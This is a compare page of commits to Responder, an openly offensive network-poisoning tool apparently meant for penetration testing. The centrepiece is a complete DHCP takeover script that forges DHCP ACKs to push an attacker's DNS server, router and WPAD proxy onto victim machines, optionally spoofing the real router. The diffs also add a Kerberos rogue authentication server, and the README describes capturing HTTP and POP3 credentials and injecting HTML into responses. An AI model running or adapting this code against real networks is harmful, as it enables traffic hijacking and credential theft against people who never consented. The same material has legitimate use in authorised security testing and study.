Compare commits

...

18 Commits

Author SHA1 Message Date
lgandx
2e4ed61bba Added: in-scope target, windows >= Vista support (-R) and unicast answers only. 2014-04-22 19:57:28 -04:00
lgandx
365505f95c initial commit 2014-04-16 18:18:27 -04:00
lgandx
1c79bedac9 Added: in-scope llmnr/nbt-ns name option 2014-04-16 14:33:57 -04:00
lgandx
dcede0fdf5 Added: Kerberos server and -d cli option. 2014-04-16 12:23:04 -04:00
lgandx
c97a13c1bd Fixed [Enter] key issue 2014-04-01 16:03:39 -04:00
lgandx
f377326d96 minor fix 2014-03-31 08:36:20 -04:00
lgandx
b14ff0b36a Added: In-scope IP handling for MDNS 2014-03-22 13:33:03 -04:00
lgandx
05b78079a8 Reflected recent changes 2014-03-22 13:19:56 -04:00
lgandx
90479adcca Added: MDNS Poisoner 2014-03-22 03:10:06 -04:00
lgandx
a1a4f46c7b fix: Bind to interface bug. 2014-03-20 22:37:10 -04:00
lgandx
81b1f8f2c1 minor fix 2014-03-19 22:17:58 -04:00
lgandx
d0fc37fa42 minor change 2014-02-19 19:35:35 -05:00
lgandx
f5b21d992a Merge branch 'master' of https://github.com/SpiderLabs/Responder
merged with latest version
2014-02-19 19:29:29 -05:00
lgandx
2fdc74a089 minor fixes 2014-02-19 19:29:19 -05:00
lgandx
68eefb1e05 Reflected recent changes 2014-02-19 19:27:28 -05:00
lgandx
cff67bd4ba Merge pull request #27 from mubix/patch-1
Case-insensitive content-type check
2014-02-10 16:58:02 -05:00
Rob Fuller
094824bfd3 Case-insensitive content-type check
Was noticing that injection wasn't happening when the header was "Content-type" instead of the checked for "Content-Type". Headers could probably be put as .lower() from the beginning, but then again there might be header content that may break because of it.
2014-02-10 16:55:11 -05:00
lgandx
2c9273eb2c Added: Analyze mode; Lanman Domain/SQL/Workstation passive discovery. 2014-02-05 22:09:50 -05:00
7 changed files with 1335 additions and 222 deletions

View File

@@ -1,4 +1,5 @@
ChangeLog Responder 2.0: ChangeLog Responder 2.0:
- Added: MDNS Poisoner.
- Added: -F command line switch to force NTLM authentication on PAC file retrieval. - Added: -F command line switch to force NTLM authentication on PAC file retrieval.
- Added: Ability to inject custom HTML in HTTP responses. - Added: Ability to inject custom HTML in HTTP responses.
- Added: New WPAD proxy server. Enabled by default. - Added: New WPAD proxy server. Enabled by default.

381
DHCP.py Executable file
View File

@@ -0,0 +1,381 @@
#! /usr/bin/env python
# This utility is part of NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys,struct,socket,re,optparse,ConfigParser,os
from odict import OrderedDict
from socket import inet_aton, inet_ntoa
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1',
prog=sys.argv[0],
)
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
options, args = parser.parse_args()
def ShowWelcome():
Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n'
print Message
if options.OURIP is None:
print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
parser.print_help()
exit(-1)
if options.Interface is None:
print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
parser.print_help()
exit(-1)
if options.RouterIP is None:
print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
parser.print_help()
exit(-1)
if options.DNSIP is None:
print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
parser.print_help()
exit(-1)
if options.DNSIP2 is None:
print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
parser.print_help()
exit(-1)
ShowWelcome()
#Config parsing
ResponderPATH = os.path.dirname(__file__)
config = ConfigParser.ConfigParser()
config.read(os.path.join(ResponderPATH,'Responder.conf'))
RespondTo = config.get('Responder Core', 'RespondTo').strip()
#Setting some vars
Interface = options.Interface
OURIP = options.OURIP
ROUTERIP = options.RouterIP
NETMASK = options.Netmask
DHCPSERVER = options.OURIP
DNSIP = options.DNSIP
DNSIP2 = options.DNSIP2
DNSNAME = options.DNSNAME
WPADSRV = options.WPAD
Spoof = options.Spoof
Request = options.Request
if Spoof:
DHCPSERVER = ROUTERIP
def SpoofIP(Spoof):
if Spoof:
return ROUTERIP
else:
return OURIP
def RespondToSpecificHost(RespondTo):
if len(RespondTo)>=1 and RespondTo != ['']:
return True
else:
return False
def RespondToIPScope(RespondTo, ClientIp):
if ClientIp in RespondTo:
return True
else:
return False
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
#####################################################################
# Server Stuff
#####################################################################
class IPHead(Packet):
fields = OrderedDict([
("Version", "\x45"),
("DiffServices", "\x00"),
("TotalLen", "\x00\x00"),
("Ident", "\x00\x00"),
("Flags", "\x00\x00"),
("TTL", "\x40"),
("Protocol", "\x11"),
("Checksum", "\x00\x00"),
("SrcIP", ""),
("DstIP", ""),
])
class UDP(Packet):
fields = OrderedDict([
("SrcPort", "\x00\x43"),
("DstPort", "\x00\x44"),
("Len", "\x00\x00"),
("Checksum", "\x00\x00"),
("Data", "\x00\x00"),
])
def calculate(self):
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet.
class DHCPACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x22\x1b\xe0\x1a"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("DHCPCode", "\x35"), #DHCP Message
("DHCPCodeLen", "\x01"),
("DHCPOpCode", "\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op51", "\x33"),
("Op51Len", "\x04"),
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day.
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", DNSNAME), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", WPADSRV), #Wpad Server.
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self):
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
self.fields["Op1Str"] = inet_aton(NETMASK)
self.fields["Op3Str"] = inet_aton(ROUTERIP)
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
class DHCPInformACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x22\x1b\xe0\x1a"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", DNSNAME), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", WPADSRV), #Wpad Server.
("Op255", "\xff"),
])
def calculate(self):
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
self.fields["Op1Str"] = inet_aton(NETMASK)
self.fields["Op3Str"] = inet_aton(ROUTERIP)
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
def ParseMac(data):
return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex'))
def IsUDP(data):
if data[0][23:24] == "\x11":
return True
if data[0][23:24] == "\x06":
return False
def ParseSrcDSTAddr(data):
SrcIP = inet_ntoa(data[0][26:30])
DstIP = inet_ntoa(data[0][30:34])
SrcPort = struct.unpack('>H',data[0][34:36])[0]
DstPort = struct.unpack('>H',data[0][36:38])[0]
return SrcIP,SrcPort,DstIP,DstPort
def FindIP(data):
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4])
def ParseDHCPCode(data):
PTid = data[4:8]
Seconds = data[8:10]
CurrentIP = inet_ntoa(data[12:16])
RequestedIP = inet_ntoa(data[16:20])
MacAddr = data[28:34]
OpCode = data[242:243]
RequestIP = data[245:249]
if OpCode == "\x08":
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP))
p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
p.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),(CurrentIP,68))
return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
if OpCode == "\x03":
if Request:
IP = FindIP(data)
if IP:
IPConv = inet_ntoa(IP)
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
p.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),(IPConv,68))
return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
if RespondToSpecificHost(RespondTo) == False:
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
p.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),(IPConv,68))
return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
if OpCode == "\x01":
if Request:
IP = FindIP(data)
if IP:
IPConv = inet_ntoa(IP)
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
p.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),(IPConv,0))
return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
if RespondToSpecificHost(RespondTo) == False:
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
p.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),(IPConv,0))
return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
else:
return False
def SendDHCP(packet,Host):
Protocol = 0x0800
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(packet, Host)
def SniffUDPMac():
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
Protocol = 0x0800
s.bind((Interface, Protocol))
while True:
data = s.recvfrom(65535)
if IsUDP(data):
SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
Message = ParseDHCPCode(data[0][42:])
if Message:
print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
print Message
SniffUDPMac()

160
RAPLANMANPackets.py Normal file
View File

@@ -0,0 +1,160 @@
import struct
from odict import OrderedDict
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNegoData(Packet):
fields = OrderedDict([
("wordcount", "\x00"),
("bcc", "\x54\x00"),
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
])
def calculate(self):
CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
self.fields["bcc"] = struct.pack("<h",len(CalculateBCC))
class SMBSessionData(Packet):
fields = OrderedDict([
("wordcount", "\x0a"),
("AndXCommand", "\xff"),
("reserved","\x00"),
("andxoffset", "\x00\x00"),
("maxbuff","\xff\xff"),
("maxmpx", "\x02\x00"),
("vcnum","\x01\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("PasswordLen","\x18\x00"),
("reserved2","\x00\x00\x00\x00"),
("bcc","\x3b\x00"),
("AccountPassword",""),
("AccountName",""),
("AccountNameTerminator","\x00"),
("PrimaryDomain","WORKGROUP"),
("PrimaryDomainTerminator","\x00"),
("NativeOs","Unix"),
("NativeOsTerminator","\x00"),
("NativeLanman","Samba"),
("NativeLanmanTerminator","\x00"),
])
def calculate(self):
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("Andxoffset", "\x00\x00"),
("Flags","\x08\x00"),
("PasswdLen", "\x01\x00"),
("Bcc","\x1b\x00"),
("Passwd", "\x00"),
("Path",""),
("PathTerminator","\x00"),
("Service","?????"),
("Terminator", "\x00"),
])
def calculate(self):
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
class RAPNetServerEnum3Data(Packet):
fields = OrderedDict([
("Command", "\xd7\x00"),
("ParamDescriptor", "WrLehDzz"),
("ParamDescriptorTerminator", "\x00"),
("ReturnDescriptor","B16BBDz"),
("ReturnDescriptorTerminator", "\x00"),
("DetailLevel", "\x01\x00"),
("RecvBuff","\xff\xff"),
("ServerType", "\x00\x00\x00\x80"),
("TargetDomain","SMB"),
("RapTerminator","\x00"),
("TargetName","ABCD"),
("RapTerminator2","\x00"),
])
class SMBTransRAPData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("TotalParamCount", "\x24\x00"),
("TotalDataCount","\x00\x00" ),
("MaxParamCount", "\x08\x00"),
("MaxDataCount","\xff\xff"),
("MaxSetupCount", "\x00"),
("Reserved","\x00\x00"),
("Flags", "\x00"),
("Timeout","\x00\x00\x00\x00"),
("Reserved1","\x00\x00"),
("ParamCount","\x24\x00"),
("ParamOffset", "\x5a\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x7e\x00"),
("SetupCount", "\x00"),
("Reserved2", "\x00"),
("Bcc", "\x3f\x00"),
("Terminator", "\x00"),
("PipeName", "\\PIPE\\LANMAN"),
("PipeTerminator","\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
else:
self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
##Data Len
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]

View File

@@ -5,7 +5,7 @@ http://www.spiderlabs.com
INTRODUCTION INTRODUCTION
============ ============
This tool is first an LLMNR and NBT-NS responder, it will answer to This tool is first an LLMNR, NBT-NS and MDNS responder, it will answer to
*specific* NBT-NS (NetBIOS Name Service) queries based on their name *specific* NBT-NS (NetBIOS Name Service) queries based on their name
suffix (see: http://support.microsoft.com/kb/163409). By default, the suffix (see: http://support.microsoft.com/kb/163409). By default, the
tool will only answers to File Server Service request, which is for SMB. tool will only answers to File Server Service request, which is for SMB.
@@ -86,6 +86,8 @@ FEATURES
- WPAD rogue transparent proxy server. This module will capture all HTTP requests from anyone launching Internet Explorer on the network. This module is higly effective. You can now send your custom Pac script to a victim and inject HTML into the server's responses. See Responder.conf. This module is now enabled by default. - WPAD rogue transparent proxy server. This module will capture all HTTP requests from anyone launching Internet Explorer on the network. This module is higly effective. You can now send your custom Pac script to a victim and inject HTML into the server's responses. See Responder.conf. This module is now enabled by default.
- Analyze mode: This module allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning any requests. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet.
- Responder is now using a configuration file. See Responder.conf. - Responder is now using a configuration file. See Responder.conf.
- Built-in POP3 auth server. This module will collect POP3 plaintext credentials - Built-in POP3 auth server. This module will collect POP3 plaintext credentials
@@ -120,7 +122,7 @@ Running this tool:
Usage Example: Usage Example:
python Responder.py -i 10.20.30.40 -r On -I eth0 python Responder.py -i 10.20.30.40 -r On -F On -w On
Options List: Options List:
@@ -145,7 +147,7 @@ Options List:
host that issued an NBT-NS or LLMNR query. host that issued an NBT-NS or LLMNR query.
-w On, --wpad=On Set this to On or Off to start/stop the WPAD rogue -w On, --wpad=On Set this to On or Off to start/stop the WPAD rogue
proxy server. Default value is On proxy server. Default value is Off
--lm=Off Set this to On if you want to force LM hashing --lm=Off Set this to On if you want to force LM hashing
downgrade for Windows XP/2003 and earlier. Default value is Off downgrade for Windows XP/2003 and earlier. Default value is Off
@@ -154,6 +156,12 @@ Options List:
wpad.dat file retrieval. This might cause a login prompt in wpad.dat file retrieval. This might cause a login prompt in
some specific cases. Default value is Off some specific cases. Default value is Off
-A, --analyze Analyze mode. This option allows you to see NBT-NS,BROWSER,
LLMNR requests from which workstation to which workstation
without poisoning any requests. Also, you can map domains,
MSSQL servers, workstations passively.
-v More verbose -v More verbose
@@ -162,6 +170,7 @@ For more information read these posts:
http://blog.spiderlabs.com/2012/10/introducing-responder-10.html http://blog.spiderlabs.com/2012/10/introducing-responder-10.html
http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html
http://blog.spiderlabs.com/2013/02/owning-windows-network-with-responder-part-2.html http://blog.spiderlabs.com/2013/02/owning-windows-network-with-responder-part-2.html
http://blog.spiderlabs.com/2014/02/responder-20-owning-windows-networks-part-3.html
Follow our latest updates on twitter: Follow our latest updates on twitter:
https://twitter.com/PythonResponder https://twitter.com/PythonResponder

View File

@@ -3,6 +3,7 @@
;Set these values to On or Off, so you can control which rogue authentication server is turned on. ;Set these values to On or Off, so you can control which rogue authentication server is turned on.
SQL = On SQL = On
SMB = On SMB = On
Kerberos = On
FTP = On FTP = On
POP = On POP = On
;;Listen on 25/TCP, 587/TCP ;;Listen on 25/TCP, 587/TCP
@@ -19,9 +20,12 @@ Challenge = 1122334455667788
;Set this to change the default logging file ;Set this to change the default logging file
SessionLog = Responder-Session.log SessionLog = Responder-Session.log
; ;
;Set this options with your in-scope targets. Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 ;Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 ;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
RespondTo = RespondTo =
;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
;RespondTo = WPAD,DEV,PROD,SQLINT
RespondToName =
; ;
[HTTP Server] [HTTP Server]
;; ;;

View File

@@ -36,6 +36,8 @@ parser.add_option('-b', '--basic',action="store", help="Set this to On if you wa
parser.add_option('-r', '--wredir',action="store", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off", metavar="Off",dest="Wredirect", choices=['On','on','off','Off'], default="Off") parser.add_option('-r', '--wredir',action="store", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off", metavar="Off",dest="Wredirect", choices=['On','on','off','Off'], default="Off")
parser.add_option('-d', '--NBTNSdomain',action="store", help="Set this to enable answers for netbios domain suffix queries. Answering to domain will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off", metavar="Off",dest="NBTNSDomain", choices=['On','on','off','Off'], default="Off")
parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','on','off','Off'], default="Off") parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','on','off','Off'], default="Off")
parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is Off", metavar="On", choices=['On','on','off','Off'], default="Off") parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is Off", metavar="On", choices=['On','on','off','Off'], default="Off")
@@ -48,7 +50,7 @@ parser.add_option('-v',action="store_true", help="More verbose",dest="Verbose")
options, args = parser.parse_args() options, args = parser.parse_args()
if options.OURIP is None and options.Analyse is None: if options.OURIP is None:
print "-i mandatory option is missing\n" print "-i mandatory option is missing\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
@@ -70,6 +72,7 @@ IMAP_On_Off = config.get('Responder Core', 'IMAP').upper()
SMTP_On_Off = config.get('Responder Core', 'SMTP').upper() SMTP_On_Off = config.get('Responder Core', 'SMTP').upper()
LDAP_On_Off = config.get('Responder Core', 'LDAP').upper() LDAP_On_Off = config.get('Responder Core', 'LDAP').upper()
DNS_On_Off = config.get('Responder Core', 'DNS').upper() DNS_On_Off = config.get('Responder Core', 'DNS').upper()
Krb_On_Off = config.get('Responder Core', 'Kerberos').upper()
NumChal = config.get('Responder Core', 'Challenge') NumChal = config.get('Responder Core', 'Challenge')
SessionLog = config.get('Responder Core', 'SessionLog') SessionLog = config.get('Responder Core', 'SessionLog')
Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper() Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper()
@@ -78,11 +81,14 @@ FILENAME = config.get('HTTP Server', 'Filename')
WPAD_Script = config.get('HTTP Server', 'WPADScript') WPAD_Script = config.get('HTTP Server', 'WPADScript')
RespondTo = config.get('Responder Core', 'RespondTo').strip() RespondTo = config.get('Responder Core', 'RespondTo').strip()
RespondTo.split(",") RespondTo.split(",")
RespondToName = config.get('Responder Core', 'RespondToName').strip()
RespondToName.split(",")
#Cli options. #Cli options.
OURIP = options.OURIP OURIP = options.OURIP
LM_On_Off = options.LM_On_Off.upper() LM_On_Off = options.LM_On_Off.upper()
WPAD_On_Off = options.WPAD_On_Off.upper() WPAD_On_Off = options.WPAD_On_Off.upper()
